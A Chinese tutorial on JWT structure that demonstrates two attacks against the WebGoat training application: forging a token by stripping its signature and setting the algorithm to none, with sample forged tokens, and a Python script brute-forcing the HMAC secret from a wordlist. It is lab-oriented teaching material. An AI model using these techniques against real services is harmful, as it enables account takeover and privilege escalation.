JWT安全上

简介: JWT安全


什么是JWT?
JSON Web Token(JSON Web令牌)是一种跨域验证身份的方案。
JWT不加密传输的数据,但能够通过数字签名来验证数据未被篡改
JWT分为三部分,头部(Header),声明(Claims),签名(Signature),
三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码。
头部(Header)
{
  "alg":"HS256",
  "typ":"JWT"
}
alg
是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,
也可以为None。HS256表示HMAC SHA256。
typ
说明这个token的类型为JWT
声明(Claims)
{
  "exp": 1416471934,
  "user_name": "user",
  "scope": [
    "read",
    "write"
  ],
  "authorities": [
    "ROLE_ADMIN",
    "ROLE_USER"
  ],
  "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
  "client_id": "my-client-with-secret"
}
JWT固定参数有:
iss:发行人
exp:到期时间
sub:主题
aud:用户
nbf:在此之前不可用
iat:发布时间
jti:JWT ID用于标识该JWT
签名(Signature)
服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。
下面是一个用HS256生成JWT的代码例子
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)

640.png

1、用户端登录,用户名和密码在请求中被发往服务器
2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中
(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行加密,生成该用户的JWT。此时,服务器并没有保存登录状态信息。
3、服务器将JWT(通过响应)返回给客户端
4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中
5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态
6、服务器返回响应

Javaweb-身份验证攻击-JWT修改伪造攻击

涉及资源链接:

https://jwt.io/

https://github.com/WebGoat/WebGoat/releases

注: WebGoat 需要高版本的jdk才可以打开。

浏览器访问:

http://127.0.0.1:8080/WebGoat/login

新打开的页面  需要用户名和密码 默认没有 需要自己注册一个。

640.png

打开第三关第二节 四关卡

点击一个用户名 再点击重置按钮   burp 抓包

发送到Reteaper 复制令牌 burp更改数据 在重新编码

640.png

640.png

拼接两段数据 中间使用点

注意:
问题来了,因为JWT的声明内容变了,因此签名需要重新生成,生成签名又需要密码,我们没有密码呀?不要慌,我们直接去掉签名就好~修改头部为None
在HTTP传输过程中,Base64编码中的"=","+","/"等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码

原令牌访问

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgzNzU5MzksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.oy0xpcSk2SUCF9qlZMVnLU_lzHfMTJi8fle6-OsIM-veFWELa2rH-8Eq0hcs0Gyp0XeAsK3YZc9GJojCvbUhFg

修改后的令牌访问

ewogICJhbGciOiAibm9uJ2UiCn0.ewogICJpYXQiOiAxNjA4Mzc1OTM5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

Javaweb-身份验证攻击-JWT密匙爆破攻击

    import jwt
    import termcolor
    if __name__ == "__main__":
        jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYwNzUxNDAxNSwiZXhwIjoxNjA3NTE0MDc1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.U0CtVEeNt9OQLWIoa3balJ_4S7czcnhAkMx6NHERC34
    '
        with open('top1000.txt') as f:
            for line in f:
                key_ = line.strip()
                try:
                    jwt.decode(jwt_str, verify=True, key=key_)
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except jwt.exceptions.InvalidSignatureError:
                    print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                    continue
            else:
                print('\r', '\bsorry! no key be found.')


    相关文章
    |
    7月前
    |
    存储 JSON 安全
    解锁互联网安全的新钥匙:JWT(JSON Web Token)
    解锁互联网安全的新钥匙:JWT(JSON Web Token)
    107 0
    |
    8天前
    |
    JSON 安全 网络安全
    超详细的用户认证、权限、安全原理详解(认证、权限、JWT、RFC 7235、HTTPS、HSTS、PC端、服务端、移动端、第三方认证等等)
    超详细的用户认证、权限、安全原理详解(认证、权限、JWT、RFC 7235、HTTPS、HSTS、PC端、服务端、移动端、第三方认证等等)
    379 0
    |
    6月前
    |
    存储 安全 前端开发
    深入探讨安全验证:OAuth2.0、Cookie与Session、JWT令牌、SSO与开放授权平台设计
    这篇文章讨论了认证和授权的概念,并探讨了设计权限认证框架的原则。它还比较了Cookie和Session的区别,并探讨了处理分布式部署时的Session保存问题。此外,文章还介绍了CSRF攻击及其防范方法,以及OAuth2.0、JWT令牌和SSO的概念。最后,文章提出了设计开放授权平台时需要考虑的因素。
    105 0
    深入探讨安全验证:OAuth2.0、Cookie与Session、JWT令牌、SSO与开放授权平台设计
    |
    7月前
    |
    安全 Java 数据库
    Spring Boot 3 + JWT + Security 联手打造安全帝国:一篇文章让你掌握未来!
    `Spring Security`已经成为`java`后台权限校验的第一选择.今天就通过读代码的方式带大家深入了解一下Security,本文主要是基于开源项目[spring-boot-3-jwt-security](https://github.com/ali-bouali/spring-boot-3-jwt-security)来讲解Spring Security + JWT(Json Web Token).实现用户鉴权,以及权限校验. 所有代码基于`jdk17+`构建.现在让我们开始吧!
    709 1
     Spring Boot 3 + JWT + Security 联手打造安全帝国:一篇文章让你掌握未来!
    |
    9月前
    |
    SQL 存储 安全
    AVA安全-JWT安全&预编译CASE注入
    AVA安全-JWT安全&预编译CASE注入
    |
    存储 机器学习/深度学习 JSON
    【安全】如果您的JWT被盗,会发生什么?
    【安全】如果您的JWT被盗,会发生什么?
    |
    存储 Web App开发 JSON
    [安全 】JWT初学者入门指南
    [安全 】JWT初学者入门指南
    |
    JSON 数据可视化 安全
    JWT 鉴权插件上线!让你的 API 更安全!
    API鉴权是保证API安全性和可用性的一项重要措施。通过API鉴权,系统可以对用户或者应用进行有效的身份认证和权限管理。 除了我们之前更新的 Basic Auth 鉴权插件,这次给大家带来 JWT 鉴权插件。
    JWT 鉴权插件上线!让你的 API 更安全!
    |
    JSON 安全 算法
    OAuth2 和 JWT - 如何设计安全的 API?
    要比较JWT和OAuth2?首先要明白一点就是,这两个根本没有可比性,是两个完全不同的东西。
    |
    安全 Java 数据格式
    使用 OAuth 2 和 JWT 为微服务提供安全保障
    Part 1 - 理论相关 作者 freewolf 关键词 微服务、Spring Cloud、OAuth 2.0、JWT、Spring Security、SSO、UAA 写在前面 作为从业了十多年的IT行业和程序的老司机,今天如果你说你不懂微服务,都不好意思说自己的做软件的。
    2208 0